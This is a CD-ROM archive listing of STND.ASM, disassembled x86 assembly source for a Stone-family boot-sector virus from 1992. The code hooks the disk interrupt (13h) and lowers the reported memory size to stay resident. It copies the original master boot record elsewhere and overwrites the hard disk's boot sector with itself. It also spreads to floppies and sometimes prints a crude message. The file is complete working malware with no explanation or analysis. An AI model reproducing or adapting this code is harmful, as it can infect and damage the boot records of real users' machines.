home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / STND.ASM < prev    next >
Assembly Source File  |  1992-08-31  |  6KB  |  248 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    STONE                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Jan-80                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. d_0000_004C_e    equ    4Ch
  14. d_0000_004E_e    equ    4Eh
  15. main_ram_size_    equ    413h
  16. timer_low_    equ    46Ch
  17. d_0000_7C00_e    equ    7C00h            ;*
  18. d_0000_7C0A_e    equ    7C0Ah            ;*
  19. d_0000_7C0C_e    equ    7C0Ch            ;*
  20. d_0000_7C10_e    equ    7C10h            ;*
  21. data_0000_e    equ    0
  22. data_0008_e    equ    8
  23. data_0009_e    equ    9
  24. data_000A_e    equ    0Ah
  25. data_000E_e    equ    0Eh
  26. data_0012_e    equ    12h
  27. data_03E0_e    equ    3E0h            ;*
  28.  
  29. seg_a        segment    byte public
  30.         assume    cs:seg_a, ds:seg_a
  31.  
  32.  
  33.         org    100h
  34.  
  35. stone        proc    far
  36.  
  37. start:
  38. ;*        jmp    far ptr l_07C0_0005    ;*
  39.         db    0EAh, 05h, 00h,0C0h, 07h
  40.         jmp    loc_01C1
  41.         db     00h, 00h, 00h, 00h, 00h, 00h
  42.         db     04h, 01h, 00h, 00h, 00h, 7Ch
  43.         db     00h, 00h, 1Eh, 50h, 80h,0FCh
  44.         db     02h, 72h, 18h, 80h,0FCh, 04h
  45.         db     73h, 13h, 80h,0FAh, 00h, 75h
  46.         db     0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
  47.         db     40h, 04h, 0Ah,0C0h, 75h, 03h
  48.         db    0E8h, 07h, 00h
  49.         db     58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
  50.         db     00h
  51.         db     53h, 51h, 52h, 06h, 56h, 57h
  52.         db    0BEh, 04h, 00h
  53. loc_0145:
  54.         mov    ax,201h
  55.         push    cs
  56.         pop    es
  57.         mov    bx,200h
  58.         mov    cx,1
  59.         xor    dx,dx            ; Zero register
  60.         pushf                ; Push flags
  61.         call    dword ptr cs:data_000A_e
  62.         jnc    loc_0168        ; Jump if carry=0
  63.         xor    ax,ax            ; Zero register
  64.         pushf                ; Push flags
  65.         call    dword ptr cs:data_000A_e
  66.         dec    si
  67.         jnz    loc_0145        ; Jump if not zero
  68.         jmp    short loc_01A5
  69.         db    90h
  70. loc_0168:
  71.         xor    si,si            ; Zero register
  72.         mov    di,200h
  73.         mov    ax,es:[si]
  74.         cmp    ax,es:[di]
  75.         jne    loc_0182        ; Jump if not equal
  76.         mov    ax,es:[si+2]
  77.         cmp    ax,es:[di+2]
  78.         jne    loc_0182        ; Jump if not equal
  79.         jmp    short loc_01A5
  80.         db    90h
  81. loc_0182:
  82.         mov    ax,301h
  83.         mov    bx,200h
  84.         mov    cx,3
  85.         mov    dx,100h
  86.         pushf                ; Push flags
  87.         call    dword ptr cs:data_000A_e
  88.         jc    loc_01A5        ; Jump if carry Set
  89.         mov    ax,301h
  90.         xor    bx,bx            ; Zero register
  91.         mov    cl,1
  92.         xor    dx,dx            ; Zero register
  93.         pushf                ; Push flags
  94.         call    dword ptr cs:data_000A_e
  95. loc_01A5:
  96.         pop    di
  97.         pop    si
  98.         pop    es
  99.         pop    dx
  100.         pop    cx
  101.         pop    bx
  102.         retn
  103.  
  104. stone        endp
  105.  
  106. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  107. ;                   SUBROUTINE
  108. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  109.  
  110. sub_01AC    proc    near
  111. loc_01AC:
  112.         mov    al,cs:[bx]
  113.         inc    bx
  114.         cmp    al,0
  115.         jne    loc_01B5        ; Jump if not equal
  116.         retn
  117. loc_01B5:
  118.         push    ax
  119.         push    bx
  120.         mov    ah,0Eh
  121.         mov    bh,0
  122.         int    10h            ; Video display   ah=functn 0Eh
  123.                         ;  write char al, teletype mode
  124.         pop    bx
  125.         pop    ax
  126.         jmp    short loc_01AC
  127. sub_01AC    endp
  128.  
  129. loc_01C1:
  130.         xor    ax,ax            ; Zero register
  131.         mov    ds,ax
  132.         cli                ; Disable interrupts
  133.         mov    ss,ax
  134.         mov    sp,7C00h
  135.         sti                ; Enable interrupts
  136.         mov    ax,ds:d_0000_004C_e
  137.         mov    ds:d_0000_7C0A_e,ax
  138.         mov    ax,ds:d_0000_004E_e
  139.         mov    ds:d_0000_7C0C_e,ax
  140.         mov    ax,ds:main_ram_size_
  141.         dec    ax
  142.         dec    ax
  143.         mov    ds:main_ram_size_,ax
  144.         mov    cl,6
  145.         shl    ax,cl            ; Shift w/zeros fill
  146.         mov    es,ax
  147.         mov    ds:d_0000_7C10_e,ax
  148.         mov    ax,16h
  149.         mov    ds:d_0000_004C_e,ax
  150.         mov    ds:d_0000_004E_e,es
  151.         mov    cx,1E0h
  152.         push    cs
  153.         pop    ds
  154.         xor    si,si            ; Zero register
  155.         mov    di,si
  156.         cld                ; Clear direction
  157.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  158.         jmp    dword ptr cs:data_000E_e
  159.         mov    ax,0
  160.         int    13h            ; Disk  dl=drive a  ah=func 00h
  161.                         ;  reset disk, al=return status
  162.         xor    ax,ax            ; Zero register
  163.         mov    es,ax
  164.         mov    ax,201h
  165.         mov    bx,d_0000_7C00_e
  166.         cmp    byte ptr cs:data_0008_e,0
  167.         je    loc_0226        ; Jump if equal
  168.         mov    cx,2
  169.         mov    dx,80h
  170.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  171.                         ;  read sectors to memory es:bx
  172.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  173.         jmp    short loc_0266
  174.         db    90h
  175. loc_0226:
  176.         mov    cx,3
  177.         mov    dx,100h
  178.         int    13h            ; Disk  dl=drive a  ah=func 02h
  179.                         ;  read sectors to memory es:bx
  180.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  181.         jc    loc_0266        ; Jump if carry Set
  182.         test    byte ptr es:timer_low_,7
  183.         jnz    loc_023E        ; Jump if not zero
  184.         mov    bx,1B2h
  185.         call    sub_01AC
  186. loc_023E:
  187.         push    cs
  188.         pop    es
  189.         mov    ax,201h
  190.         mov    bx,200h
  191.         mov    cx,1
  192.         mov    dx,80h
  193.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  194.                         ;  read sectors to memory es:bx
  195.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  196.         jc    loc_0266        ; Jump if carry Set
  197.         push    cs
  198.         pop    ds
  199.         mov    si,200h
  200.         mov    di,data_0000_e
  201.         mov    ax,[si]
  202.         cmp    ax,[di]
  203.         jne    loc_0277        ; Jump if not equal
  204.         mov    ax,[si+2]
  205.         cmp    ax,[di+2]
  206.         jne    loc_0277        ; Jump if not equal
  207. loc_0266:
  208.         mov    byte ptr cs:data_0008_e,0
  209.         mov    byte ptr cs:data_0009_e,0
  210.         jmp    dword ptr cs:data_0012_e
  211. loc_0277:
  212.         mov    byte ptr cs:data_0008_e,2
  213.         mov    byte ptr cs:data_0009_e,0
  214.         mov    ax,301h
  215.         mov    bx,200h
  216.         mov    cx,2
  217.         mov    dx,80h
  218.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  219.                         ;  write sectors from mem es:bx
  220.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  221.         jc    loc_0266        ; Jump if carry Set
  222.         push    cs
  223.         pop    ds
  224.         push    cs
  225.         pop    es
  226.         mov    si,data_03E0_e
  227.         mov    di,1E0h
  228.         mov    cx,0FDE0h
  229.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  230.         mov    ax,301h
  231.         mov    bx,data_0000_e
  232.         mov    cx,1
  233.         mov    dx,80h
  234.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  235.                         ;  write sectors from mem es:bx
  236.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  237.         jmp    short loc_0266
  238.         db    7
  239.                 db      'I am Andrew Dice Clay!'
  240.         db     07h, 0Dh, 0Ah, 0Ah, 00h
  241.                 db      'So, BLOW ME....Hey!'
  242.  
  243. seg_a        ends
  244.  
  245.  
  246.  
  247.         end    start
  248.